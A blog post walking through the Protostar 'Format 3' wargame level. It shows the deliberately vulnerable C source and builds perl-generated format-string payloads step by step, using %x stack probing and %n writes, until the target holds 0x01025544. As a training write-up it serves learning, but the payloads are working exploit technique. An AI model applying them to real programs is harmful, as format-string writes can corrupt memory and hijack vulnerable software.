MattAndreko.com

"hostess is a code-slaying dragon found deep within the core of the earth, unearthing magma and vulnerabilities single handedly while using the other hand to pet his cat"

Exploit Exercises - Protostar Format 3

| Comments

Continuing in the String Format section, the next challenge we run across is Format 3.

We’re first given the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
 printf(string);
}

void vuln()
{
 char buffer[512];

 fgets(buffer, sizeof(buffer), stdin);

 printbuffer(buffer);

 if(target == 0x01025544) {
  printf("you have modified the target :)\n");
 } else {
  printf("target is %08x :(\n", target);
 }
}

int main(int argc, char **argv)
{
 vuln();
}

This seems to be just like Format 2, except that we have to modify all 8 bytes instead of just 2.

The process is still pretty much the same. We will first find the memory address of “target”, to get that out of the way:

1
2
user@protostar:/opt/protostar/bin$ objdump -t format3 | grep target
080496f4 g     O .bss   00000004              target

I tried spamming the format3 executable with 15 “%x”, since the last couple challenges have been lower than the typical 150 I was doing.

1
2
3
user@protostar:/opt/protostar/bin$ echo AAAA`perl -e 'print "%x."x15'` | ./format3
AAAA0.bffff5e0.b7fd7ff4.0.0.bffff7e8.804849d.bffff5e0.200.b7fd8420.bffff624.41414141.252e7825.78252e78.2e78252e.
target is 00000000 :(

It appears that we get our “41414141” at 12 bytes popped. Let’s verify:

1
2
3
user@protostar:/opt/protostar/bin$ echo AAAA%x%x%x%x%x%x%x%x%x%x%x%x | ./format3
AAAA0bffff5e0b7fd7ff400bffff7e8804849dbffff5e0200b7fd8420bffff62441414141
target is 00000000 :(

So let’s try it with the memory address of “target” instead of “AAAA”:

1
2
3
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xf4\x96\x04\x08%x%x%x%x%x%x%x%x%x%x%x%n"'` | ./format3
0bffff5e0b7fd7ff400bffff7e8804849dbffff5e0200b7fd8420bffff624
target is 00000041 :(

Awesome! It’s overwriting properly. Our last byte shows as “41”, meaning that printf wrote 41 characters. However for the vulnerable program, it needs to be “44”, so let’s just increase it a little.

1
2
3
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xf4\x96\x04\x08%x%x%x%x%x%x%x%x%x%x%11x%n"'` | ./format3
0bffff5e0b7fd7ff400bffff7e8804849dbffff5e0200b7fd8420bffff624
target is 00000044 :(

So it appears if I use “%11x” for one of the stack pops, it’s just the right amount. You can actually calculate this value using a calculator, but I’ve found myself usually just brute forcing it with multiple guesses.

So let’s work on the next 2 bytes. From several of the books and papers listed in the previous challenge, I found out how to handle this. You just start appending more data, with a junk buffer, and possibly some spacing, and it will continue in a similar fashion. You then just increment the byte you want to overwrite, going upwards in the memory space, so you don’t overwrite the space you already wrote the first time.

To feel out for how many stack pops we’d have to do, I experimented, and spammed an additional 15 after setting up the start of the next byte of “target”:

1
2
3
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xf4\x96\x04\x08%x%x%x%x%x%x%x%x%x%x%11x%nJUNKAAAAAAAA\xf5\x96\x04\x08" . "%x."x15'` | ./format3
0bffff5e0b7fd7ff400bffff7e8804849dbffff5e0200b7fd8420bffff624JUNKAAAAAAAA78257825.78257825.78257825.78257825.78257825.78313125.554a6e25.41414b4e.41414141.96f54141.78250804.2e78252e.252e7825.78252e78.2e78252e.
target is 00000044 :(

Now pay attention here. You’ll see after 8 stack pops, you have “41414b4e.41414141”. The first byte has some junk from a previous memory address. Since we can only pass 4 “A”s, we’ll need to buffer this a bit with additional junk bytes. To test that out, we can do:

1
2
3
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xf4\x96\x04\x08%x%x%x%x%x%x%x%x%x%x%11x%nJUNKJUAAAA\xf5\x96\x04\x08%x%x%x%x%x%x%x%x%x"'` | ./format3
0bffff5e0b7fd7ff400bffff7e8804849dbffff5e0200b7fd8420bffff624JUNKJUAAAA782578257825782578257825782578257825782578313125554a6e25554a4b4e41414141
target is 00000044 :(

Now if we just convert that final “%x” to a “%n”, we’ll overwrite the second memory address shown with the number of bytes printed.

1
2
3
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xf4\x96\x04\x08%x%x%x%x%x%x%x%x%x%x%11x%nJUNKJU\xf5\x96\x04\x08%x%x%x%x%x%x%x%x%n"'` | ./format3
0bffff5e0b7fd7ff400bffff7e8804849dbffff5e0200b7fd8420bffff624JUNKJU782578257825782578257825782578257825782578313125554a6e25554a4b4e
target is 00008e44 :(

Awesome again! We overwrote the next 2 bytes! But wait a minute. It overwrote “8e”, and we want to get “55”. There is nothing that we can add to “8e” to get “55”, as it’s larger. We can’t subtract, so this poses an issue. However, there’s nothing saying that we can’t overwrite 4 bytes instead of just 2. We could simply add to “8e” until we get “255”, since the next 4 bytes needed are “0255”. I played around with some math, and found that I could do exactly that!

1
2
3
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xf4\x96\x04\x08%x%x%x%x%x%x%x%x%x%x%11x%nJUNKJU\xf5\x96\x04\x08%x%x%x%x%x%x%x%463x%n"'` | ./format3
0bffff5e0b7fd7ff400bffff7e8804849dbffff5e0200b7fd8420bffff624JUNKJU782578257825782578257825782578257825782578313125554a6e25554a4b4e
target is 00025544 :(

This is convenient for us, because now we don’t have to do 4 separate overwrites, we can skip the third one, moving directly to the fourth. For this last pair, we will need to write “01”. Off the bat, with such a low number, I knew that we’d have to do something similar, since there’s no way we would ever be writing 0 characters in printf. We would just have to raise it to “101”, and the first “1” would get cut off into a virtual la-la land.

Again, let’s find the length of stack addresses to pop, by spamming 15 “%x”:

1
2
3
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xf4\x96\x04\x08%x%x%x%x%x%x%x%x%x%x%11x%nJUNKJU\xf5\x96\x04\x08%x%x%x%x%x%x%x%463x%nJUNKAAAA" . "%x."x15'` | ./format3
0bffff5e0b7fd7ff400bffff7e8804849dbffff5e0200b7fd8420bffff624JUNKJU782578257825782578257825782578257825782578313125554a6e25554a4b4eJUNKAAAA78257825.78257825.78257825.34257825.25783336.4e554a6e.4141414b.2e782541.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.
target is 00025544 :(

This time we have 7 pops, and again the buffer is mis-aligned. So let’s test the 7 pops and fixing the buffer alignment:

1
2
3
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xf4\x96\x04\x08%x%x%x%x%x%x%x%x%x%x%11x%nJUNKJU\xf5\x96\x04\x08%x%x%x%x%x%x%x%463x%nJUNAAAA%x%x%x%x%x%x%x"'` | ./format3
0bffff5e0b7fd7ff400bffff7e8804849dbffff5e0200b7fd8420bffff624JUNKJU782578257825782578257825782578257825782578313125554a6e25554a4b4eJUNAAAA78257825782578257825782534257825257833364e554a6e41414141
target is 00025544 :(

Removing one character from the 4-char word “JUNK” seemed to do the trick. We are now showing “41414141” as the last word again.

So let’s switch the last “%x” to “%n”, and the “AAAA” to our last memory address, and see what it outputs.

1
2
3
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xf4\x96\x04\x08%x%x%x%x%x%x%x%x%x%x%11x%nJUNKJU\xf5\x96\x04\x08%x%x%x%x%x%x%x%463x%nJUN\xf7\x96\x04\x08%x%x%x%x%x%x%n"'` | ./format3
0bffff5e0b7fd7ff400bffff7e8804849dbffff5e0200b7fd8420bffff624JUNKJU782578257825782578257825782578257825782578313125554a6e25554a4b4eJUN78257825782578257825782534257825257833364e554a6e
target is 8c025544 :(

Alright, so it’s giving “8c”, and we need to get to “101”. That’s roughly 117 bytes difference. I started tinkering from there, and found that it needed 125 extra characters.

1
2
3
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xf4\x96\x04\x08%x%x%x%x%x%x%x%x%x%x%11x%nJUNKJU\xf5\x96\x04\x08%x%x%x%x%x%x%x%463x%nJUN\xf7\x96\x04\x08%x%x%x%x%x%125x%n"'` | ./format3
0bffff5e0b7fd7ff400bffff7e8804849dbffff5e0200b7fd8420bffff624JUNKJU782578257825782578257825782578257825782578313125554a6e25554a4b4eJUN78257825782578257825782534257825257833364e554a6e
you have modified the target :)

Awesome! We actually were able to overwrite an arbitrary value in memory to a specific value of our desire. Think of the implications of this. I was solving it, and afterwards read about a very new string format vulnerability in “sudo”. More information can be read here. These are real-world applications, and these bugs are found in the wild. It really blows my mind.

Comments